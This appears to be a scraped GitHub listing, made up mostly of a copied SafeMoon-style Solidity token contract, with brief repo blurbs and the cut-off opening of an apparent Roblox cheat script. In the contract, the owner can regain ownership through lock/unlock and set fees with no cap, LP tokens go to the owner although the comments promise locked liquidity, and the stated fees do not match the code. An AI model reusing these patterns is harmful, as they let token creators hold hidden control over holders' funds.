amunategui / Read And Process Files Larger Than RAMUsing the function read.table() to break file into chunks to loop and process them. This allows processing files of any size beyond what the machine's RAM can handle. Companion code for youtube: https://www.youtube.com/watch?v=Z5rMrI1e4kM
canhhungit / Bulk ProcessorA simple and efficient bulk processor with size and timeout control, powered by lodash's throttle function. This package helps you process items in batches, improving performance and reducing the load on resources when dealing with large datasets or asynchronous operations.
basta1255s / Owntoken.solSkip to content Why GitHub? Team Enterprise Explore Marketplace Pricing Search Sign in Sign up safemoonprotocol / Safemoon.sol 476618 Code Issues 62 Pull requests 4 Actions Projects Wiki Security Insights Safemoon.sol/Safemoon.sol @safemoonprotocol safemoonprotocol Create Safemoon.sol Latest commit 152e907 on Mar 4 History 1 contributor 1166 lines (997 sloc) 42.3 KB /** *Submitted for verification at BscScan.com on 2021-03-01 */ /** *Submitted for verification at BscScan.com on 2021-03-01 */ /** #BEE #LIQ+#RFI+#SHIB+#DOGE = #BEE #SAFEMOON features: 3% fee auto add to the liquidity pool to locked forever when selling 2% fee auto distribute to all holders I created a black hole so #Bee token will deflate itself in supply with every transaction 50% Supply is burned at start. */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SafeMoon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "SafeMoon"; string private _symbol = "SAFEMOON"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } © 2021 GitHub, Inc. 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Pa1ntex / Classic Gui Saktkia51 Script Op local b=game:GetService("Players")local c=game:GetService("ReplicatedStorage")local d=game:GetService("StarterGui")local e=game:GetService("RunService")local f=game:GetService("StarterPlayer")local g=game:GetService("TestService")local 